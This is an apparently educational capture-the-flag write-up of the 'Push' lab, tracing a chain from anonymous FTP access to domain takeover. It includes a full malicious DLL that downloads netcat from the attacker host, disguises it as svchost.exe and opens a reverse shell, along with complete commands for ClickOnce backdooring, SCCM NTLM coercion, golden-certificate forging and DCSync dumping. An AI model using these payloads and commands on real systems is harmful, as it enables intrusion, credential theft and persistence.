1
2
3
4
5
6
7
8
██████╗░██╗░░░██╗░██████╗██╗░░██╗
██╔══██╗██║░░░██║██╔════╝██║░░██║
██████╔╝██║░░░██║╚█████╗░███████║
██╔═══╝░██║░░░██║░╚═══██╗██╔══██║
██║░░░░░╚██████╔╝██████╔╝██║░░██║
╚═╝░░░░░░╚═════╝░╚═════╝░╚═╝░░╚═╝

# HARD - CHAIN

❄️ NMAP & INFO

1
Backdooring a ClickOnce deployment, which led to code execution. SCCM Client Push Coercion to capture NTLM hashes, privesc using ADCS by forging a certificate and abusing it with PassTheCert to grant DCSync rights.

DC01.push.vl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
53/tcp   open  domain        Simple DNS Plus  
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP
443/tcp open https SSL/TLS (likely IIS)
445/tcp open microsoft-ds SMB file sharing
464/tcp open kpasswd5 Kerberos password change
593/tcp open ncacn_http RPC over HTTP
636/tcp open ssl/ldap LDAP over SSL
3268/tcp open ldap Global Catalog LDAP
3269/tcp open ssl/ldap Global Catalog LDAPS
3389/tcp open ms-wbt-server Microsoft Remote Desktop (RDP)
5985/tcp open http WinRM (Windows Remote Management)

MS01.push.vl

1
2
3
4
5
6
7
21/tcp   open  ftp           Microsoft ftpd (anonymous login allowed)  
80/tcp open http Microsoft IIS httpd 10.0 (SelfService page)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds SMB file sharing
3389/tcp open ms-wbt-server Microsoft Remote Desktop (RDP)
5985/tcp open http WinRM (Windows Remote Management)

❄️ FOOTHOLD


In our basic recon, I found that the IP address 10.10.217.101 corresponds to the Domain Controller DC01.push.vl. The second IP address, 10.10.217.102, resolves to MS01.push.vl.

I tried bruteforcing for valid users with kerbrute, but had no luck:

With nothing else immediately promising, I decided to focus on MS01, since NMAP shows that the FTP service allows ANONYMOUS login.


MS01 | FTP | Anonymous

We log in as the anonymous user on MS01 FTP service, and we see four directories available:

1
ftp [email protected]

Three of the folders are empty, except for the .git-credentials. We download it and recover credentials for olivia.wood.


SMB Enum | olivia.wood

I enumerate shares and permissions using netexec and get the following:


The wwwroot share on MS01 has read/write permissions. I connect to it using smbclient.py:

1
smbclient.py push.vl/olivia.wood:'<REDACTED>'@10.10.217.102

Here is what I get when I list the contents. At first glance, there’s a folder named SelfService_1_0_0_5, and inside it, we find several .deploy files along with some DLLs..

Looks like this could be the deployed version of some .NET application and possibly the one running on the web interface.



If I quickly check and create a file called testing.html with the text “pepe”, I should be able to see it reflected on port 80. Let’s see:


❄️ What is ClickOnce?

ClickOnce is a Microsoft deployment technology that allows users to install and run applications directly from a browser with a single click, without needing admin privileges. It’s often used in enterprise environments, but can also be abused to execute malicious code.

If I check the last-run.txt, I can see the execution time updates. First it shows 4:41, then 4:45, confirming the app logs each run.

Based on the initial hints, this blog post can help us backdoor the ClickOnce app served over SMB. A user runs it every 3 o 4 minutes, so once modified, it should execute shortly after.


ClickOnce Abuse

According to the blog and summarizing the steps, here’s what we need to do to make it work.
I mounted the share under /mnt/ctf/ to work more comfortably.

  • First, we patch the SelfService.dll.deploy with our payload and calculate its new SHA256 hash and size.

  • Second, we update the SelfService.dll.manifest with those values, remove the publisherIdentity and signature block, and set the publicKeyToken to all zeroes.

  • Finally, we update the SelfService.application manifest in the same way, adjusting the hash and size of the .manifest, and stripping the signature stuff there too.

Once that’s done, the app should execute our modified DLL without complaining.


Let’s go with our payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <windows.h>
#include <stdlib.h>

void dropper() {
char cmd1[] = "curl http://10.8.0.147/nc.exe -o C:\\ProgramData\\svchost.exe";
char cmd2[] = "C:\\ProgramData\\svchost.exe 10.8.0.147 9000 -e cmd.exe";
WinExec(cmd1, SW_HIDE);
Sleep(1200);
WinExec(cmd2, SW_HIDE);
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)dropper, NULL, 0, NULL);
}
return TRUE;
}

This drops nc.exe into C:\ProgramData\ and runs it to establish a reverse shell to our listener.


We compile it as a DLL using:

1
2
x86_64-w64-mingw32-gcc -o SelfService.dll.deploy SelfService.c -shared
# SelfService.dll.deploy

Then.. we calculate the SHA256 digest and update both the hash and the file size in the SelfService.dll.manifest:

1
2
openssl dgst -binary -sha256 SelfService.dll.deploy | openssl enc -base64
# wZWYtmlLFTb2a7/Y7e7b+Yh6dOQ7lB9zRoBXXXtmGHs=


Now we need to replace the publicKeyToken= found in <asmv1:assemblyIdentity with 16 zeroes:


We also need to update the DigestValue and size for SelfService.dll.manifest inside the SelfService.application file, and set the publicKeyToken to all zeroes:

1
2
openssl dgst -binary -sha256 SelfService.dll.manifest | openssl enc -base64
# 5+DEk6lBbruFSY8utYzVUbmv9jEeZ0ErxZpMdREbiCo=


Once that’s done, all that’s left is to upload the modified files and start our netcat listener along with a simple python http server.

Then just wait two minutes in my case.. and..

And there it is..we got a shell! :). We’re now inside as kelly.hill user, running from the ClickOnce path under AppData\Local\Apps.


Kelly.Hill | flag.txt

Now, if we move into kelly’s home directory, we find a similar situation: there’s a .git-credential file, and by reading it, we can extract her password.


And we get our flag.txt:

1
PS C:\users\kelly.hill\Desktop> type flag.txt

Bloodhound Time

After some enum, kelly.hill has pretty limited permissions. She’s part of basic groups like Users, Remote Desktop Users, and staff, nothing elevated. No admin rights, and just default privileges.

But.. some interesting with sccadmin shows up as a local admin, but I don’t have access to its home folder or permissions. Definitely a “key” user!.




❄️ SCCM | System Center Configuration Manager

Let’s pause for a second and give some quick context for those not familiar.

SCCM is a Microsoft tool used a lot in corporate environments. Basically, it helps IT teams manage all the devices in a network, like pushing software, deploying updates, applying policies, or even controlling some access.

If you’re inside a company and your PC suddenly installs stuff or changes config without you touching anything… yeah!, that’s probably SCCM doing its thing :D.


SCCM Coercion Attack

A good reference for this is the following post:
https://posts.specterops.io/coercing-ntlm-authentication-from-sccm-e6e23ea8260a

We are going to try an SCCM coercion to steal a hash. With SharpSCCM we can trigger a Client Push Installation and force the SCCM service account to authenticate to us. That account usually has local Admin Rights!.

1
.\SharpSCCM.exe invoke client-push -t 10.8.0.147 -sc HQ0 -mp DC01.push.vl


After running the coercion with SharpSCCM, we instantly capture the hashes for sccadmin:


Now we just need to crack it with hashcat:


SCCADMIN | flag.txt

Nice the password is cracked and now we can log in as sccadmin and cat the flag from the Administrator’s desktop:

1
PS C:\users\Administrator> type Desktop\flag.txt

❄️ ADCS | Golden Certificate

Looking a bit closer at the BloodHound graph, we can clearly see that ADCS is present!

Since we have RDP access as sccadmin, we can start enumerating the Certification Authority from inside to see what we can do with it…


At this point we’ve got admin access on the CA server, so we’re in a really good spot!!.
The move here is going for a Golden Certificate. Since we can dump the CA cert and its private key, that gives us the power to forge a legit certificate for any user, even a domain admin.

After checking Certipy’s post-exploitation guide from their official wiki (https://github.com/ly4k/Certipy/wiki/07-Post-Exploitation), we can do this pretty easily:

We’ll use Certipy to back up the CA certificate and its private key.

1
2
3
4
5
6
7
8
9
10
11
12
13
certipy ca -u sccadmin -p '<REDACTED>' -ns 10.10.217.102 -target-ip MS01.push.vl -backup

# Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Creating new service for backup operation
[*] Creating backup
[*] Retrieving backup
[*] Got certificate and private key
[*] Backing up original PFX/P12 to 'pfx.p12'
[*] Backed up original PFX/P12 to 'pfx.p12'
[*] Saving certificate and private key to 'CA.pfx'
[*] Wrote certificate and private key to 'CA.pfx'
[*] Cleaning up

Now that we have the certificate and private key, we can generate a forged cert with domain admin privileges:

1
2
3
4
5
6
certipy forge -ca-pfx CA.pfx -upn [email protected] -subject 'CN=Administrator,CN=Users,DC=PUSH,DC=VL'

Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Saving forged certificate and private key to 'administrator_forged.pfx'
[*] Wrote forged certificate and private key to 'administrator_forged.pfx'

Issues? What went wrong?

1
certipy auth -pfx administrator_forged.pfx -dc-ip 10.10.217.101

So, what’s the deal here?.. Even though we managed to forge the Golden Certificate just fine, when trying to request a TGT using PKINIT… nothing!!. Looks like the DC doesn’t support PKINIT.

PKINIT is a Kerberos extension that lets you use X.509 certificates for pre-auth. It’s super handy because it allows us to get a TGT or even the NT hash of a user just by using a certificate, no password needed :). But yeah, that option’s off the table! :(

There’s a great post that explains this kind of situation, where PKINIT isn’t supported https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html, but you still have the cert. I’m going to use PassTheCert (https://github.com/AlmondOffSec/PassTheCert/tree/main/Python) to give DCSync rights to sccadmin.


❄️ ROOTED

I extracted the cert and key from the forged PFX file, then used PassTheCert to give DCSync rights to sccadmin. With that in place, I dumped the NTDS and hash for administrator access!.

1
2
certipy cert -pfx administrator_forged.pfx -nokey -out administrator.crt
certipy cert -pfx administrator_forged.pfx -nocert -out administrator.key
1
2
3
passthecert.py -action modify_user -crt administrator.crt -key administrator.key -domain push.vl -dc-ip 10.10.217.101 -target sccadmin -elevate

# [*] Granted user 'sccadmin' DCSYNC rights!
1
nxc smb 10.10.217.101 -u 'SCCADMIN' -p '<REDACTED>' --ntds --user administrator


Flag captured, box pwned!,
Thanks for reading.



❄️ References